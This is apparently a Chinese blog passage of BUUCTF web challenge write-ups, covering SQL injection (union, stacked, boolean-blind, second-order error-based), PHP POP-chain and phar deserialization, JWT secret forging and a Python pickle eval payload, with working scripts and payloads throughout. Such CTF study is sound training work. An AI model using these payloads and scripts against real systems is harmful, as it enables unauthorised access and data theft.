这个是错误密码,说明这里的username和password是分开查的,也就是先查询是否有这个用户,在拿密码和这个密码比较 ,那么我们可以尝试一下直接登录

image-20220401194305357

如果前面的不存在的就会只显示联合查询后面的结果

name=1admin' Union Select 1,'admin',1%23&pw=1

image-20220401194455336

也就是这样的,那么如果没问题的话就可以直接登录了

image-20220401194534417

很明显,这里的密码不对,那么可能是什么原因呢,可能是md5加密了密码值,加密的肯定是查询出来的哦,所以我们的就试一下

1->c4ca4238a0b923820dcc509a6f75849b
name=1admin' Union Select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1

image-20220401194746319

反序列化

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;#定义一个私有属性
    public function append($value){#定义一个追加函数,传入一个参数,包含这个传入的参数
        include($value);#这里是终点
    }
    public function __invoke(){#当把当前对象当成方法调用时触发
        $this->append($this->var);#然后就调用这个对象的追加方法
    }
}

class Show{
    public $source;#公有
    public $str;
    public function __construct($file='index.php'){#当对象被创建时调用
        $this->source = $file;#将这个source赋值index.php
        echo 'Welcome to '.$this->source."<br>";#输出这个source
    }
    public function __toString(){#当把当前对象当成字符串调用时触发
        return $this->str->source;#返回该对象的str赋值source
    }
#       这里是起点
    public function __wakeup(){#当使用unserialize是调用,就是反序列化对象出现时就调用
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";#如果在source中匹配到gopher或者http或者file或者ftp或者https或者dict或者..且不区分大小写就返回index.php
            $this->source = "index.php";#将source赋值给index.php,这里如果想要继续向下调用就可以调用__tostring方法,
        }
    }
}

class Test{
    public $p;
    public function __construct(){#当函数创建时调用
        $this->p = array();#给p属性赋值数组
    }

    public function __get($key){#用于从不可访问的属性中读取数据 包括1.私有属性 2.没有初始化的属性
        $function = $this->p;#将本对象的p属性赋值给function
        return $function();#调用function方法
    }
}

$final = new Show();#new一个show对象赋值给final也就是最后的
$Show1 = $final->source =  new Show();#new一个show对象赋值给final的source属性 ,接着就调用到了show的__tostring方法
                                     #那么这里的str是可控的,那么这里如果想调到__invoke方法就需要找一个调用方法的地方,那么这里就需要是test对象的__get方法中的

$Test1 = $Show1->str = new Test();#这里正好source属性在test对象中不可找到 ,要注意哦,这里的__tostring是Show1调用的,因此要改的也是Show1中的str属性哦

$Modifier1 = $Test1->p = new Modifier();#接着给Test1的p属性赋值为Modifier对象,就可以调到__invoke方法了 但是这里的var属性是私有的哦


echo "\n";
echo "\n";
echo urlencode(serialize($final));#输出序列化show对象
echo "\n";
$pop = serialize($final);
unserialize($pop);#执行反序列化
?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3Bs%3A9%3A"index.php"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BN%3B}

image-20220401125725668

image-20220401125738702

handler绕过过滤sql

[GYCTF2020]Blacklist

image-20220401195251731

单引号报错

image-20220401195333438

image-20220401195425395

image-20220401195435647

字段数为2

image-20220401195537661

有过滤,过滤了不少.堆叠注入

?inject=1';show databases;#

image-20220401195947461

?inject=1';show tables;#

image-20220401200050707

?inject=1';desc `FlagHere`;#

image-20220401200138741

handler [表名] open; 	打开一张表
handler [表名] read first; 接着访问打开的表,该表对象未被其他会话共享,并且在会话调用close之前不关闭
handler [表名] close;

image-20220401200725805

?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

image-20220401201048585

sql

image-20220401210803604

提示了flag的位置

image-20220401210827191

输入1’时出现了布尔值false,没懂这里什么意思

image-20220401210933529

有过滤,先fuzz一下

image-20220401205918351

测试一下闭合

id=2/2	回显Hello, glzjin wants a girlfriend.
id=1	回显Hello, glzjin wants a girlfriend.
id=1'	bool(false)
id=1'&&'1'='1	bool(false)
id=1&&1=1	Hello, glzjin wants a girlfriend.

很明显数字型

这里的bool(false)感觉像是提示布尔注入,测试了一下联合注入不可,堆叠注入不可

布尔盲注试下

id=(length(database())=11)		Hello, glzjin wants a girlfriend.
(length(database())=0)			Error Occured When Fetch Result.

可行,说明数据库长度是11

# paload = (ascii(substr((reverse(substr((database())from(1))))from(8)))=97)
import requests

dic = "0123456789qazwsxedcrfvtgbyhnujmikolp{}""''-=+[]"
url = "http://d712a56f-c346-4030-bceb-d192d6b7f3fd.node4.buuoj.cn:81/index.php"
ans = ""
# 正确返回Hello, glzjin wants a girlfriend.
for i in range(1, 12):
    # print(i)
    j = 12 - i
    for k in dic:
        uname = "(ascii(substr((reverse(substr((database())from({}))))from({})))={})".format(i, j, str(ord(k)))
        # print(uname)
        data = {
            'id': uname,

        }
        res = requests.post(url=url, data=data)
        # print(res.text)
        if "girlfriend" in res.text:
            ans += k
            print(ans)

# 获取数据库名称database() = ctftraining
for i in range(1, 50):
    uname = "(length((select(flag)from(flag)where(id=1)))={})".format(i)
    # print(uname)
    data = {
        "id": uname,

    }
    res = requests.post(url=url, data=data)
    if "girlfriend" in res.text:
        print("passwd长度为:" + str(i))
    # passwd长度为:42

for i in range(1, 43):
    # print(i)
    j = 43 - i
    # print(j)
    for k in dic:
        uname = "(ascii(substr((reverse(substr((select(flag)from(flag)where(id=1))from({}))))from({})))={})".format(i, j, ord(k))
        # print(uname)
        data = {
            'id': uname,

        }
        res = requests.post(url=url,data=data)
        # print(res.text)
        if "girlfriend" in res.text:
            ans += k
            print(ans)

phar反序列化

[CISCN2019 华北赛区 Day1 Web1]Dropbox

image-20220412095419487

注册试试

image-20220412095450981

可以注册admin多半不是sql注入

image-20220412095522693

发现有上传文件,我们随便上传一个试试

image-20220412095603799

有下载文件,我们去抓个包看看

image-20220412095654607

发现是这种形式,测试一下有没有任意文件下载

image-20220412095742130

可以下载源码那么我们下载下来

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

这里发现一个class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php

HTTP/1.1 200 OK
Server: openresty
Date: Tue, 12 Apr 2022 05:42:55 GMT
Content-Type: application/octet-stream
Connection: close
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Disposition: attachment; filename=delete.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
X-Powered-By: PHP/5.6.40
Content-Length: 644

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

download.php

<?php

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

我们可以很自然的想到反序列化的题目,但是这里找了一下并没有找到unserialize(),这里加上存在文件上传.便很自然的想到了phar反序列化问题了.我们去找找有没有可以利用的方法

image-20220412100309625

这里存在两个,我们去找找利用链.转到声明或者用例

image-20220412134439242

可以发现这里的filename可控,并且也可以触发phar的反序列化.那么我们就找到了反序列化的入口了.接着我们去找反序列化的利用链.我们可以从终点开始,由file类的close()方法看看如何调到这里

首先找到了user调用了db的close()方法,这里的db参数可控,那么我们就可以去构造利用这个点去执行我们想要的closef()方法.但是我们如果直接去调用file类的close()方法当然是可以调用到的,但是却没有回显.所以我们很自然就想到了去调用filelist类的call()方法.这里要注意的是__call()方法的 f u n c 参数是调用的方法名 , 后面的 func参数是调用的方法名,后面的 func参数是调用的方法名,后面的args是调用的参数.那么这里又发现这个 f i l e 参数可控 , 就可以构造 file参数可控,就可以构造 file参数可控,就可以构造file为file类去调用file类的close()方法了

<?php

class User {
    public $db;
    public function __construct() {
        $this->db = new FileList();
    }
}

class FileList {
    private $files;
    public function __construct() {
        $this->files = array(new File());
    }
}

class File {
    public $filename = '/flag.txt';
}
$final = new User();


@unlink('test.phar');

$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($final);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

生成phar文件之后,改个名上传一下

image-20220412135413679

接着去delete.php下传参刚才改的名字触发反序列化

image-20220412135431017

python反序列化

image-20220412140858691

打开发现这样

image-20220412140939831

看到有lv6

image-20220412141305658

发现是图片标志我们脚本跑一下

import requests

url = 'http://98fe4479-f4f8-42fc-8ce0-e939a904aaff.node4.buuoj.cn:81/shop?page='
for i in range(1,500):
    url = url + str(i)
    r = requests.get(url)

    if 'lv6.png' in r.text:
        print(i)
        print(r.text)
        break

发现在181页

image-20220412142240652

有点贵

image-20220412142253666

有折扣,我们试试能不能修改

image-20220412142452432

image-20220412142502705

看到page 1 2 3有登录有注册

先注册admin如果成功就跟sql注入jwt没什么关系了

image-20220412141053091

但是很明显没有成功,那么我们就先注册一个普通的登进去

image-20220412141131393

发现回显了用户名和邮箱.再去看看cookie信息

image-20220412141223218

我们先解一下看看

image-20220412141437862

我们先试试去掉密钥

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6IjAifQ

不行,那么我们去爆破一下密钥

image-20220412142717593

找到了

iKun

那么我们直接修改

image-20220412143057947

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

image-20220412143131503image-20220412143447540

发现www.zip文件

image-20220412144234874

翻到一个这个

image-20220412144251490

留了一个后门

python puckle反序列化漏洞

image-20220412145033900

利用点在become这里

# coding:utf-8 
#version:python2.7
import pickle
import urllib

class Test(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()" ,))

a = Test()
s = pickle.dumps(a)
print(urllib.quote(s))
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

image-20220412145202743

二次注入

image-20220412150039878

看源码发现提示

image-20220412150101533

发现文件包含

image-20220412150143133

发现有过滤

我们试试别的

?file=php://filter/read=convert.base64-encode/resource=index.php

只有这个可行

image-20220412150852395

image-20220412150843376

index.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>

search.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

                <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>

config.php

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

首先这一看就是一个sql注入的题目,并且有打印数据库错误信息,那么很明显就是存在报错注入,只是我们需要去寻找利用点,看一看这里不仅过滤了一些关键词语,并且查询内容是没有回显的,但是发现在change.php中传入了三个参数,但是有两个参数是进行的过滤,还有一个参数是进行的转义处理,如果这里没有宽字节绕过的话,只能是二次注入了.这里也明显能够看到在取出老地址时并没有进行处理,就直接进行了下一条语句的查询.那么简单的二次注入出现了

先提交订单

1' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- #

image-20220412154109819

接着修改订单

image-20220412154143232

image-20220412154149984

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #

image-20220412154317763

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e))-- #

image-20220412154401606

好像不在数据库里面,那么我们读取本地文件试试

1' and extractvalue(1,concat(0x7e,(select left(load_file('/flag.txt'),30)),0x7e))-- #

image-20220412154939895

1' and extractvalue(1,concat(0x7e,(select right(load_file('/flag.txt'),30)),0x7e))-- #

image-20220412154912453

flag{1ffc3205-c4f2-4a9c-937b-a
c4f2-4a9c-937b-a373d7f44a4b}
flag{1ffc3205-c4f2-4a9c-937b-a373d7f44a4b}
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛的一个web题目。其可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTF】buuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值